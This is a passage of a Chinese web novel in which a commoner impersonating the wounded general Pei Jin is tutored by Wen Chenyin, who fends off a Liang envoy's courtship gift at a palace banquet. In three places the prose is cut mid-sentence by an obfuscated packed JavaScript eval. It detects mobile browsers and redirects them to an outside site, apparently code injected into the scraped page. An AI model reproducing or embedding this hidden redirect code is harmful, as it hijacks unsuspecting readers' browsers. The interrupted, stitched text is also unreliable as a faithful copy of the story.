马小六原本还一脸期待,发现送来的东西竟是书本后,不由得满是嫌弃:“你那把这些东西送来做什么?这就是你说的有意思的玩意?” 温沉吟不急不躁,依旧耐心解释道:“俗话说书中自有黄金屋,书中自有颜如玉。这既有黄金又有美人的事,难道还不够有趣么?从今日开始,我便教你读书习文,时间久了,你便能知道其中的乐趣了……” 马小六气急败坏,瞬间跳脚:“你少唬我!老子又不考状元,学这些东西干什么?” “这不是凉国使团就要来么?你也不想在他们面前丢脸吧?” “他们要来便来,关老子什么事?” 马小六像是被彻底惹毛了,气哼哼地往那一坐,脸上写满了拒不合作的态度:“就算他们要来,大不了我和平日一样装病就是了!驸马爷那么厉害的人物我都能应付过去,难道还会应付不了他们?” “那可不一样。” “能有什么不一样?” 见他一脸的不服气,温沉吟只能耐下性子,细细解释了起来:“凉国皇室虽说表面与我大燕交好,但国中诸侯却和庆国有着各种牵扯。若是被他们发现瑾哥重伤不起,难免会生出什么不该有的心思,所以他们来时,你总得起身接待……只是此次带领使团前来的,是平阳王世子夏翌,此人生性傲慢又莽撞无礼。若真登门拜访,必定会借机生事。你要是是不能好好应对,不仅会让裴氏一族声誉受损,还会堕了我大燕国的威名!” “平阳王世子?就是老皇帝原本想让你嫁的那个人?” 马小六闻言一愣,一直满是不耐的态度终于警惕了下来:“你说他会借机生事……该不会要和我动手比试吧?我可事先声明,我也就是在杂戏班子里练过些花架子功夫,让我翻翻跟斗什么的还能勉强应付一下,但真刀真枪比试拳脚的事可别找我!我这人从小身体就不好,可经不住这种折腾……” 这种未战先怯,听闻可能有危险就恨不得立马撇清关系的态度实在让人很难不鄙视。 但那个反应如此不堪的人偏偏又长着一张和裴瑾如此相似的脸。 温沉吟只觉得怒其不争,却只能继续哄他:“夏翌携使团而来,表面功夫总是要做的,就算想要挑衅,也不至于太出格。只是他若是坚持要见你,免不了要寒暄几句,你多读些书,应付起来总是容易些……” 在她柔声细语地解释下,马小六终于犹犹豫豫地坐在了桌子前,随手随手拿起了一本书。 然而刚翻了没两页,他就满脸烦闷地将书一摔,连连摇头:“不行不行!这玩意读起来太无聊了。而且凉国的使团没几日就要到了,就凭这几日的功夫,我哪能有什么长进!” 温沉吟俯身把书捡了起来,在他身旁坐下,依旧好言好语地劝说着:“这书本上的道理的确不是一朝一夕就能学明白的,但你多读一些,总没有坏处……” “谁说没坏处?有这个时间我干点什么不好?就算你不让我出门,难道我还不能躺着睡觉吗?干嘛要对着这些鬼东西给自己找罪受?” 马小六嚷了一阵,似乎想到了什么,很快眼珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221102|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一转,嘿声笑了起来:“要我说啊,其实这事也没那么麻烦,你说了那么多大道理,其实无非就是担心凉国人发现云麾将军没那么威风了,想要再次逼你嫁去凉国,对么?既然如此,我倒是有个法子!” “什么法子?” “咱们要不就赶在凉国使团到来之前把婚事给办了,这样一来,生米煮成熟饭,你成了我媳妇儿。到时候他们就算发现云麾将军没什么本事了,也没法逼你另嫁他人了不是?” 他这边还在眉飞色舞地叨念声着,温沉吟已经冷声笑了起来:“这就是你想的法子?” 见她脸带寒意,似是怒意已生,马小六心中一怯,赶紧给自己找补:“我说这话也没别的意思,何况就算是成婚,也没说一定要圆房不是?反正如今我住在你府中,该有的议论早就有了。你若实在不愿意,咱们成婚之后,依旧可以像现在这样各自住这,我又没说非得两人睡到一张床上……” 温沉吟静静听到最后,脸上的冷笑也越发明显:“之前我倒是小瞧你了,没想到你还有这等心思!” 没等马小六再做回应,她已经将身子微微前倾,一张如春花凌霜般的脸,紧凑在了对方身前:“你还有什么主意,一起都说来听听?我倒是想知道,是不是这段日子让你过得太舒服了,才会让你有力气想这些有的没的?” 在她意味深长地注视下,马小六不由得缩紧了脖子,赶紧讪笑着表示:“我也就是这么一说,你不愿意就算了……不过有句俗话怎么说来着?己所不欲勿施于人!既然咱们都有不愿做的事,你也不能逼着我读书!” 温沉吟没想到他绕了那么大一个圈子,竟然是还是在和她讨价还价,顿时也没了好言相劝的心情,冷笑一声后很快站了起来,转身就准备往外走。 马小六原本没想过真的能说动她,见她就此打住,不再相劝,倒是没来由地慌乱了起来:“喂……你就这么走了啊?” 温沉吟脚步顿住,神色不变:“那不然呢?你既不愿念书,我也劝不动,那还留在这里做什么?” 马小六想了想,低声试探着:“那凉国使团的人若是真的要来……你打算怎么应付?” “怎么应付?” 温沉吟哧声一笑,声音里都是凉意:“比起会面之时应对不当大失颜面,让他们看到瑾哥重病不起的模样大概还是要体面些……只是凉国使团与之前来探望的朝臣们不同,要他们相信瑾哥伤势严重,只怕不是靠言语就能应付的……” “所以呢?” “所以真到了那个时候,只怕就要让你受点委屈了。” “别啊!!!!” 虽然相识以来,温沉吟的态度一直客气温和,并没有对他动用过什么严酷的手段,但从她的行事作风上看,马小六也知道她并不是什么心慈手软之人。 眼下这简简单单的一句威胁,立马让他瞬间汗毛倒立,赶紧起身堵到了她面前,陪起了笑脸:“你也别着急走嘛……其实我仔细想了一下,你说的话的确也有些道理。既然这些书你都让人送过来了,我抽空读读也不是不行……” 见他主动服软,温沉吟面色稍霁,目光中露出了些许欣慰之意。 不料下一秒,马小六又大着胆子表示:“不过说到读书这事吧,我也有一个要求……” “什么要求?” “我识字不多,这些书真要认真读的话,好多地方都不太明白是怎么回事。可那些教书先生吧,一个个又实在无趣得很,我听他们所话就犯困……” 没等他把话说完,温沉吟已经点了点头:“行,我答应你。” “啊?” 马小六还在挖空心思地找借口,骤然间听她爽快应允,反而磕巴了起来:“你答应我……什么?” 温沉吟看着他,嘴角微微一挑,仿佛对他那些千回百转的小心思全然不屑一顾:“我答应你,只要你肯用心学,以后便由我亲自教你读书。” 10. 旧诗 温沉吟之所以会安排读书一事,只是希望马小六能老老实实地呆在府中,别去外面闹事,并不指望他在短短几日内能真有什么长进,因此给到他的书也都浅显易懂。 没想到马小六却是连读书之事也不安分,总是变着法子闹腾生事和她唱反调。 读到了卧薪尝胆的典故,他便满脸凄切地表示自己闯荡江湖穷困潦倒之时,也因为实在太饿,去屠户家里偷吃过苦胆。 然而吃下之后,不仅无法像越王勾践一样被激发斗志,还因上吐下泻了好几日,越发自轻自怜,感叹人世不公; 温沉吟担心这一类的故事会勾起他的伤心事,于是换了几本介绍美人的野史传记给他打发时间。 不料读到西施的故事,他又开始大放厥词,质疑范蠡亲自将自己心爱的女人献与旁人,活脱脱就是个负心汉,不仅辜负了昭君对他的深情厚谊,更配不上他千古倜傥的好名声。 最初几日,温沉吟只当他是学识粗陋,难晓大义,于是还会耐着性子和他解释一番这些故事背后藏着的道理,到了后面,当她意识到马小六只是在没事找事,把和她辩嘴当乐趣后,干脆就闭口不言,任由他自说自话地在那发表狂言谬语。 唯独有一次,马小六因为闹腾太过,手舞足蹈之间打翻了砚台,将墨汁撒在了书本上。 原本一直对他视若无睹的温沉吟见状瞬间变了脸色,没等马小六有所反应,就迅速抢过了一卷书本,用力擦拭了起来。 只是墨迹落下之后,很快就渗入纸页,接连晕开。 无论她如何努力擦拭,终究还是留下了一片黑黑的印子。 眼见那本书终究是被墨迹所污,温沉吟脸色愠怒,似乎要出声怒斥。 然而当她的目光落在对方那张满是茫然的脸上时,最终还是泄气一般,隐忍着没有吭声。 马小六虽然胆大妄为,却也懂得察言观色。 相识至今,他也已经知道温沉吟虽是习惯了喜怒不行于色,平日里自己再是胡闹也好,只要不触及与裴瑾相关之事,她都不会明显地表露自己的情绪。 如今见她面色凝重,胸膛重重起伏着,就连一双眼睛也因为气愤微微泛红,便知道自己大概是真的惹恼了她。 于是他也赶紧安静下来,小心翼翼地把那本书拿到手上,认真查看了一番。 被墨汁沾染的部分其实并不大,也并不会影响到内容的阅读。 仔细看来,只有几行作为批注的小字变得有些模糊。 长长的一阵沉默后,马小六慢慢凑近她的身旁,声音里带上了几分讨好:“对不起,我不是故意要弄脏你的书的。若是市面上还买得到,我买一本陪你好不好?” 温沉吟双眼微阖,轻轻喘了一口气,也不知是因为他那小心翼翼的态度而怒气稍减,还是根本不想与他多费唇舌:“罢了,这本书也不是什么罕见物。以后你小心一些便是了。” 听她口气平静,似乎真的没打算再追究下去,马小六心下一松,胆子也跟着大了起来,当即指着那几行被墨迹沾染了的小字,不动声色地吹捧道:“对了,这首诗是你写的吗?我刚读了一遍,觉得这本书里就它写得最好!” 对于他那显而易见的讨好行为,温沉吟只觉得嫌弃,就连口气也带上了几分嘲弄:“你喜欢?” “当然!” “那你最喜欢哪一句?究竟为何喜欢?” “……” 在他瞠目结舌的反应中,温沉吟将书重新拿了过来,看向了那几行已然模糊不清的小字,轻声念了出来:“血浸吴钩霜浸瞳,半旗残月压雕弓。匣中尚有合欢结,不勒燕然便作烽……这首诗写的是将士出征前不破楼兰终不还的豪情壮志,以及对心上人记挂之情,你若喜欢,我便再找一些这样的诗句给你瞧瞧。” 听闻自己不过随口拍了句马屁,居然又讨来了新的书目,马小六赶紧讪笑了起来:“那倒是不用麻烦了,我就是觉得吧……这首诗好是好,就是又是流血又是残月的感觉不太吉利。说起来,你一个身份高贵的富家小姐,怎么会喜欢读这种诗?像你这样的姑娘,不是都喜欢读一些《女则》《女训》之类的书么?” 温沉吟目光微垂,似是不想再解释。 但在对方一脸好奇的注视下,终究还是哼了个声音出来:“因为这首诗,是瑾哥写的。” 马小六闻言一愣:“你是说……云麾将军?” “嗯……” 话题既然已经被挑起,温沉吟也就继续说了下去:“当年他才十七岁,却已经要跟随父亲去北境驻守。大概是临行之前颇有感触,便写下这首诗。” 马小六轻轻“哦”了一声,目光落向了眼前的书本:“这么说来,这本书也是云麾将军的?那怎么会在你这里?” 温沉吟被他的问句勾起了回忆,脸上的表情也变得温柔:“很多年前,因为机缘巧合,我和瑾哥曾在一起念过书。只是没过多久,念书的敌方没有,他也离开帝都,去了北境……作为纪念,他便把这本书送给了我。” “原来你们还在一起念过书啊,这就难怪了……” 马小六点了点头,似是也陷入到了某种回忆。 许久之后,他再次开口,声音里却多出了几分试探:“你说这首诗里,写了对心上人的记挂,那是不是说,云麾将军从那个时候就已经喜欢你了?” “……” “那你呢?你也是从那个时候开始喜欢他的吗?” 这番接连不断的追问实在是太冒犯,太失礼了。 但马小六那认真又急切地模样,看上去却不像是在八卦,而是真心实意想要得到一个答案。 一时间,温沉吟也分不清自己究竟是羞赧还是窘迫,只能装作没听到一般,抬眼看向了窗外。 马小六等了一阵不见回应,似是有些失望,最后只能拿着书本,重新走回了书桌旁。 那天下午,向来聒噪的马小六很是难得的一直保持着安静,只是默默翻阅着手里的书本,像是想要从那些零散的批注中,找出某些被时光掩埋的秘密。 温沉吟远远坐在窗下,看着他满是专注的模样,心中翻涌着的却是有关于那个少年的回忆。 只是庭前花谢了,行云散后,物是人非。 如今记忆犹在,那个写下“匣中尚有合欢结,不勒燕然便作烽”的少年,却已经不在她的身旁了。 波澜不惊的日子过了十余日,凉国使团入朝觐见的日子终于还是到来了。 使团入城那一日,一辆辆载满了奇珍异宝和野禽异兽的马车从天启城的主街尚鱼贯而过,毫不吝啬地向燕国子民炫耀着凉国的奢华与富有。 为首的使节身着金银丝线琇织而成的长袍,神色肃然地端坐在高大的白色骏马上,随着马蹄点地,一人一马仿佛踏云而行,所到之处,便会引发阵阵惊呼。 这样一个声势浩大,且充满了异国风情的使团队伍自然在燕国百姓之中引发了不少议论,即便是在温府之中,下人们聊起此事时,也都显得兴致勃勃。 只是温沉吟向来治府严厉,一番交代之后,下人们再有兴趣也好,也没人敢去凑这个热闹。 偏偏只有马小六,在听到消息之后立马蠢蠢欲动起来,一心想要出门瞧瞧。 温沉吟赔上了自己时间精力,守着他在府中老老实实地呆到十几天,自然不会让他在如此紧要的关头出门生事。 因此面对对方的恳求,她不仅毫不留情的表示了拒绝,还特意叮嘱了卫宁,要将他仔细看牢。 原本她以为,只要马小六不主动生事,温府的平静便能保持得久一点。 不料凉国使团的觐见仪式结束才没多久,宫中便有消息传来,称贵妃娘娘为了迎接母国使团的到来,特意设下私宴,并邀请了诸多宾客,为远道而来的使臣们接风洗尘。 而温沉吟和温珩的名字,都毫不意外地出现在了受邀宾客的名单之中。 虽然很清楚银骊姬此举是醉翁之意不在酒,如此大张旗鼓的一番折腾,无非是想替夏翌创造机会与燕国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221103|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的权臣子嗣们结交,但对方毕竟地位尊贵,又打着和平交流幌子,她再是不情愿也好,终究还是收拾打扮了一番,老老实实地与温珩一起进了宫。 当日的私宴设在御湖旁的澄霁楼内,魏栩明未曾出席的情况下,身为贵妃的银骊姬自然成为了宴会的主角。 众星捧月之间,银骊姬显然也没忘记自己的使命,宴席开始没多久,便笑语晏晏的表示:“世子此次前来,除了朝见陛下,代表大凉皇帝以示两国交好之心外,更是希望感受一下燕国的人情风物。在座的各位都是年轻一代中的翘楚,世子早已心生憧憬,想必大家熟识之后,一定是会很多话可以聊……” 在她满是热情的介绍声中,一位身材魁梧的青年男子很快站了起来。 温沉吟虽说早已听说过夏翌的名字,却从未亲眼见过其人,此时见他起身,便抬起眼睛朝着他的方向瞧了瞧。 虽说同样出身于武将世家,但比起身形轻灵,举止潇洒的裴瑾,夏翌显然要壮实的多,落坐之时还不觉有异,起身之后却是膀大腰圆,十分魁梧。 眼下即便身着华服,却也难掩一身的悍莽之气,从那肌肉虬结、几乎要将肩袖撑破的手臂来看,显然练就了一身过硬的外家功夫。 凉国气候苦寒,为了抵御风霜和低温,男子大多生得彪悍健硕,但如夏翌这般气势拔山扛鼎之人,却也十分罕见。 在他起身之后,在座的宾客们都脸色微变,暗自估量着若是在战场上与此人相见,胜算究竟能有几分。 夏翌像是对现场的反应很是满意,敷衍着说了几句场面话后,便示意侍从们将事先准备好的礼物抬了上来,再一一送到了众人手中。 温沉吟对这些东西并无兴趣,礼盒奉上之后随意看了看,发现是一面镶金嵌玉的青铜镜后,便随手放在了一边。 在场的世家子弟们虽说大多心怀警惕,但既然收了礼物,又有贵妃在场,一个个都很快做起了场面功夫。 觥筹交错之间,气氛也很快热闹了起来。 温沉吟实在厌烦于应付这样的场面,静坐了一阵,正琢磨着该如何找个借口,才能早点退场,随着光线一暗,一道人影由远及近,已经径直站定在她身前:这位便是温统领家的小姐吧?” 温沉吟没料到众目睽睽之下,夏翌竟竟然会主动找上自己,微愣之下很快站起身来,不卑不亢地应道:“小女温氏,不知世子有何指教?” 夏翌紧盯着她,面色似有不满:“指教倒是没有,只是看温小姐方才的反应,似是小王所赠的礼物不太合心意?” 温沉吟不知他是有心找事,还是真的误会了,只能赶紧解释道:“世子误会了。凉国盛产青铜,制造工艺也出类拔萃。这面青铜镜镶金嵌玉、打磨精巧,一看便知是能工巧匠精心打造之物。承蒙世子相赠,小女十分感激。” 夏翌哼声一笑,还没来得及接话,一直在远处留意着双方动向的银骊姬已经笑着开口了:“世子远在大凉,可能还不知道,阿吟虽是女子,却向来不喜欢金银玉器这些凡俗之物……俗话说,送礼讲究的是一个投其所好,所以你的这份礼虽然用心,但却实在算不上好。” 这番话她虽然说得笑语晏晏,像是在开玩笑,却在不动声色之间,将温沉吟推入了风暴的中心。 一时间,在场的宾客都嗅出了山雨欲来前的气息,一个个屏息凝神,放下了酒杯,满心紧张紧张的观望起了眼前的局势。 夏翌却显然没打算再给温沉吟缓和气氛的机会,听完银骊姬的话后,很快换上了一副若有所思的表情:“贵妃娘娘所言极是,如此说来,倒是小王失礼了。只是小王到来之前,便已听闻过温小姐美名,此番有缘得见,小王也是报了极大的诚意……” 话说到这里,他抬起右手,轻轻一挥。 顷刻之间,候在一旁的侍从已经将一只红色的锦盒捧了上来。 夏翌接在手中,将盒盖缓缓掀起。 随着微光一闪,一颗鸽子蛋大小的明珠赫然出现在众人眼前。 11. 心思 在场的宾客大多出身于贵胄之家,各种珍奇之物就自幼见多了,早已经见怪不怪。 然而眼前的这颗明珠不仅通体浑圆,色泽温润,而且即便是满屋烛火地映照之下,也难掩其光华璀璨,很显然重金难求的珍奇宝物,这让他们一时间都窃窃私语了起来。 银骊姬似乎也有些吃惊,很快站起身来,惊声问道:“世子手中所持的,可是唤月珠?” “正是!” 夏翌点了点头,目光却紧盯着温沉吟,像是想从她的脸上找出此刻的内心波动。 温沉吟却依旧满脸淡然,目光在那颗珠子上轻轻一瞥后,便已移开,像是根本没把它放在眼里。 她这无波无澜的反应让夏翌有些失望,眉头紧皱之下,一时间也陷入了沉默。 银骊姬冷眼旁观,发现自己的惊叹并未能达到预想的效果,面色也有些尴尬,于是只能硬着头皮继续追问道:“此珠来历不凡,阿吟可曾有所耳闻?” 温沉吟不清楚她为何对着一颗珠子大做文章,但对方都把话递到她头上了,她也只能轻声应道:“臣女孤陋寡闻,不知此珠来历,还请贵妃娘娘赐教。” 银骊姬这才逮到了发挥的机会,赶紧绘声绘色地表演了起来:“多年之前,世子的祖父横海将军带兵过琼海,却因突如其来的暴风雪遮蔽天日,而迷失了方向。困顿之间,海边的一处山崖中隐隐有光亮透出,仿佛月亮从天际坠入一般。横海将军心觉有异,便亲自带人查看。进入山洞后,却发现发出光亮的,竟是一只含着明珠的巨蚌……惊诧之下,横海将军打碎了巨蚌,将明珠取出,并借着它所散发的光亮,连夜走出了琼海。回朝之后,当时的凉王听说了这段传奇,便将此珠取名“唤月”,并将它赐予了横海将军。至此以后,这颗映月珠便成为了横海将军的家传之宝,代代珍藏。” 这段传奇往事在场的宾客都从未听闻,如今听她说起,都禁不住啧啧称奇。 温沉吟静心听完,也十分捧场地露出了惊叹之色:“听贵妃娘娘所言,此珠乃天赐珍宝,如今得见,实属臣女之幸!” 听她出声赞叹,夏翌一直紧绷着的脸上终于露出了一丝笑容。 紧接着,他手臂一伸,已经将那颗珠子递到了温沉吟面前:“方才贵妃娘娘也说了,送礼讲究一个投其所好。温小姐既是喜欢,我便将她赠与你如何?” 温沉吟原本以为他拿出那颗珠子,又与银骊姬一唱一和,只是为了炫耀一番,此刻见他竟是要以之相赠,难免也有些吃惊:“世子说笑了!此珠如此珍贵,又是世子家传之物,小女与世子不过初见,如何敢收如此贵重的礼物?” 对于她的推辞,夏翌视若无睹,只是自顾自地继续说道:“小王的父亲常说,与人相交,不论时日长短,讲究的就是一个缘字。这珠子再是珍贵,也不过是身外之物,若是能博温小姐一笑,因此结缘,那便是值了。” 温沉吟眉头微蹙,心中已生不详的预感:“世子性情潇洒,实在令人敬佩。但小女不过一介女流,实在不值得世子如此看重。 夏翌压低了声音,口气里却多出了几分轻佻:“小王为何如此看重温小姐,你如此聪慧,难道还猜不出此中的缘由么?” 看着他那势在必得的笑容,温沉吟心下一沉,已然反应过来了。 今日这场私宴明面上是为了拉近夏翌与权臣子嗣之间的关系而设,实则却是为她准备的。 当着在场宾客们的面,银骊姬已然将唤月珠的来龙去脉说得清清楚楚,并特别强调了是凉国夏氏的家传之物。 若是她收下了这份重礼,必定会引人侧目,议论不断。若是此后联姻之事再被提起,这场赠珠之礼就更会引发公众浮想联翩的导火索。 到了那个时候,不仅她会名誉受损,就连与她有婚姻之约的裴家也难免会沦为笑柄。 可眼下联姻之事并未被摆上台面,夏翌的举动也只是打着使团来访,和平交流的旗号。若她执意拒绝,也会难以下台。 温珩显然也从夏翌那咄咄逼人的态度中意识到了自家姐姐已经陷入两难之境,气恼之下,“刷”地一声站起身来。 而另一边,银骊姬还不忘火上浇油:“世子既然如此诚心,阿吟就别再推辞了。俗话说,宝剑赠英雄,红粉赠佳人。两位虽是初次相见,说不定赠珠之谊以后还能成就一段佳话呢?” 一片窃窃地议论声中,温沉吟冲着温珩的方向摇了摇头,直到他重新坐下后,才笑着开口:“世子就那么确认你心中所想,小女能够猜到?” 夏翌脸上的笑容更大了一些:“小王与温小姐一见如故,想来必定心有灵犀。” 温沉吟想了想:“既是如此,不如让我来猜猜世子心中究竟在想什么。若是猜对了,这份礼物还请世子收回,若是猜错了,一切便任由世子安排,如何?” 夏翌闻言一怔,一时间竟不知自己是不是该点头。 按理来说,一个人心中究竟在想什么,只有自己知道。 介时无论温沉吟说什么,他只要矢口否认,这场赌局就算是赢了。 一切稳赢不输的情况下,他实在没有拒绝的道理。 可温沉吟那一脸镇定的模样,又让他觉得事情大概没那么简单。 踌躇之间,温沉吟再度弯起了嘴角:“怎么?世子是有什么顾虑吗?” 众目睽睽之下,夏翌哪里禁得住她如此激将,当即哼声表示:“好!那你就来猜猜,小王此刻心中究竟在想些什么?” 温沉吟看着那颗珠子,缓缓开口:“世子定是在想,无论我的答案是对是错,这势必要收下这份礼物,对么?” 虽然并不清楚其中的纠葛,但夏翌那咄咄逼人态度和温沉吟屡加拒绝的表现,在场的宾客却都清清楚楚地看在眼里。 同为燕国子民,大家也难免替温沉吟抱屈。 此刻听到她的回复,宾客中有反应较快之人已经偷笑出声。 温珩更是眼睛一亮,立马高声问道:“敢问世子殿下,姐姐是否猜中了?” 夏翌嘴巴半张着愣在那里,左右为难之际,竟不知该如何回答才好。 半晌之后,他才将牙一咬,恨声表示:“温小姐既是执意不收,小王也不勉强。只是小王听说,云麾将军回到燕国之后,便一直住在小姐府中,由小姐照顾着??” 见他不再执着于赠礼之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221104|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,温沉吟也暗中松了口气:“世子的消息倒是很灵通。” 夏翌哼声冷笑了起来:“云麾将军声名满天下,小王自然会多关注些。听闻他如今伤势缠绵,卧床不起,小王此次前来,还特意准备了一些珍贵的药材,打算登门探望。这点心意,温小姐应该不会再拒绝了吧?” 温沉吟心知对方打着凉国使臣的幌子,又有银骊姬撑腰,既然早已打定了主意要见裴瑾,自己想拦也拦不住,于是干脆嫣然一笑:“既然世子如此有心,小女便替云麾将军谢过世子了。” 在温沉吟这里碰了这么个软钉子,接下去的时间里,夏翌也没再生事。 待到宴会最终散去,已是到了明月高悬之时。 离宫回府的路上,温沉吟始终沉默不语,满心想着的,都是夏翌到访时该如何应付。 从今日宴会上对方的种种表现来看,显然是心存挑衅,因此也一定会借着探病的机会,试探裴瑾的伤势状况。 虽说身为使臣,身在他国之时通常不会有什么过激之举,但夏翌此人骄横无礼,介时究竟会使用何种手段,实在是难以用常理揣度。 温珩显然是觉察到了她的心事,欲言又止了好一阵后,终于忍不住加快脚步,堵在了她的身前:“姐姐,我知道你在为什么事烦心。若夏翌上门时真要出手挑衅,由我来应付便是!” 温沉吟看着他月光下尚显稚气的一张脸,不由得又是欣慰,又是心疼:“夏翌天生神力,自幼又在军营中长大,练就一身过硬的功夫。你年纪尚小,虽然天资聪颖也勤奋努力,却没有真的在战场上历练过,他若有心挑衅,仅凭你一人之力,只怕是拦不住的。” 温珩虽是不服,却也知道温沉吟所说皆是实情,气郁之下,只能咬牙表示:“我是没把握能胜过他,但他身为使臣,想来也不敢真的伤了我!若真要动手,我必会拼尽全力,不堕我大燕威名!” 话说到这里,他像是心有感慨,声音变得有些沮丧:“其实……方才在宴席上我就一直在想,如果瑾哥在就好了。如果他还在,岂会让那夏翌如此放肆?姐姐又怎么会被逼迫到那般地步?” 听他提起裴瑾,温沉吟原本一直强撑着的心猛的痛了起来。 裴瑾初入沙场之时,年纪比如今的温珩还要小。 敌军甚至他因为他年纪尙轻,样貌又太过俊美而心存不屑,公然在阵前嘲讽,大燕实在无人可用,才会找了这么个年纪轻轻的小白脸来凑人头。 然而很快的,裴瑾身骑骏马,手握长枪,将敌军先锋大将挑于马下的画面成为了所有人的噩梦,“战神”之名也由此传开。 从那以后,他再也不曾被人轻视过。 然而如今,因为他的失踪,却让来自夏翌的挑衅却变得如此棘手。 思绪翻涌之间,温沉吟轻轻闭了闭眼,再睁开时,她的姿态已经重新变得镇定从容。 “阿珩,方才是姐姐一时心乱,说错了话,你不要放在心上。自古英雄出少年,瑾哥可以做到的,你也一定能够做。到时候若夏翌有心挑衅,你放手迎战便是!无论结果如何,只要尽力而为,对得起当初我们在荟英堂所受的教导,姐姐都会以你为荣!” 12. 莳花馆 当夜回府之后,温沉吟便直接去了西院,打算将夏翌即将到访之事向马小六知会一声,让他提前有个准备。 不料刚走到院门口,却发现被她安排着侍奉马小六的侍女正面色仓皇的站在那,不时抬头张望向着大门的方向张望着,脸上写满了焦灼 见她忽然出现,那侍女赫然一惊,赶紧“咚”地一声跪了下去,声音里都是颤抖:“小姐您回来了……奴婢无能,还请小姐重罚!” 温沉吟虽然性情冷淡,但对待下人却并不苛责,平日里也很少施用什么严酷的惩戒手段。 此刻见她一脸紧张,只觉心觉有异:“你这是怎么了?有什么话起来说。” 侍女犹豫了片刻,终于战战兢兢地站起身来,但目光还是低垂着:“回小姐的话,奴婢一时不查,没能看住云麾将军,结果让他溜出府了……” “什么?” 温沉吟实在没想到,自己不过入宫半日,马小六竟会趁这个时候偷溜出府,一时间不禁又急又怒:“究竟怎么回事?你把话说清楚!” 侍女这才详细解释道:“今日小姐进宫后,云麾将军就一直都呆在屋子里,奴婢见他十分安静,于是也没看得太紧。到了黄昏时分,云麾将军说他饿了,想喝桂圆八宝粥,奴婢便去厨房安排人做了。没想到把粥端回来时,却发现他人已经不在了……” 说到这里,她偷眼看了看温沉吟的脸色,见她并没有要重责自己的意思,才继续补充道:“发现云麾将军失踪后,奴婢就赶紧将情况告诉了卫大人。卫大人听完之后,立马就命人检查了云麾将军的房间,结果发现衣物,银子之类的东西都还在……卫大人估摸着他大概只是想出门透透气,于是便派了人出去找。如今已经找了有一个多时辰,想来就快有消息了……” 卫宁办事效率的确很高,温沉吟才将事情的来龙去脉了解完没多久,他便已经将马小六的消息带了回来。 摸约一炷香之前,卫宁派出去的家仆便已在福寿大街发现了马小六的行踪,只是考虑到他一心想要出们,未必愿意就这样心甘情愿地跟他们回来,若是强行动手,又怕会闹出什么动静,所以卫宁也不敢擅作主张,只能一边派人盯着他,一边赶回来问问温沉吟的意思。” 福寿大街是整个天启城内最热闹的地方,沿街伫立的都是各色赌坊、酒楼和风月妓坊,无论是燕国本地的子民,还是来自异国的游客商贾,都喜欢流连其间。 马小六会在那里出现,倒也并不意外。 然而一想到危局当前,对却依旧这样没心没肺,只沉迷于玩乐,温沉吟还是忍不住怒从心来。 “他费尽心思也要溜出去,是又去那家赌坊赌钱去了吗?” “不是……” “不是?那他去了哪里?” 听他没去赌坊,温沉吟只觉得意外:“好不容易出一趟府,就吃吃喝喝的在酒楼里花点银子,他能甘心?” “倒也不是在酒楼……” 面对她的追问,卫宁嘴唇微抿,似是有些难以启齿。犹豫了好一阵,才嗫声表示:“属下发现云麾将军时,他正在莳花馆里喝酒,而且……” “而且什么?” “而且听旁人议论,他好像是花了不少银子,特意点了莳花馆的头牌柳行云作陪。” “???” 虽然为了不露破绽,温沉吟曾亲自立下规矩,让府中的下人将马小六视作裴瑾,但此刻,听到“云麾将军”这个称谓和“莳花馆”牵扯在了一起,还是让她感觉到阵阵眩晕。 天下人都知道,莳花馆是整个天启城中最出名的风月场所,馆中的姑娘不仅个个样貌美艳,身材妖娆,而且或擅长诗画,或精于歌舞,都有一手令人惊艳的绝活。 如果说半年之前,同为风月之地的庆春坊和采月楼还有心与之一较长短的话,随着柳行云的出现,莳花馆的声明就此一骑绝尘地攀上了巅峰。 传说中的柳行云不仅姿容出众,堪称百年难见的绝色,而且弹得一手好琵琶,让人闻之欲醉。 虽然从她出道那日起,馆中老鸨便已经明确表示,这位姑娘卖艺不卖身,每日是否接待客人,也只是视心情而定,但所谓物以稀为贵,这样的声明反而钓足了恩客们的胃口。 每逢夜间,莳花馆中都会涌入许多揣着大巴银票,翘首以盼的客人,只盼着自己能够成为被这位绝代佳人青睐的幸运儿。 这样一个声名远播的绝色美人,究竟会对怎样的客人青眼有加,向来是街头巷尾关注的焦点,若马小六真的一掷千金,成为了她的入幕之宾,必然会成为坊间议论的焦点。 到了那个时候,一旦有人认出他的脸,云麾将军伤病初愈便流连妓馆的消息必然会让裴氏一族蒙羞。 想到这这个场景,温沉吟很快将脸一沉,“刷”地一下站起身来。 卫宁见状,已知此事已经彻底惹恼了她,于是也不敢再多言,只是脚步匆匆地跟在了她身后。 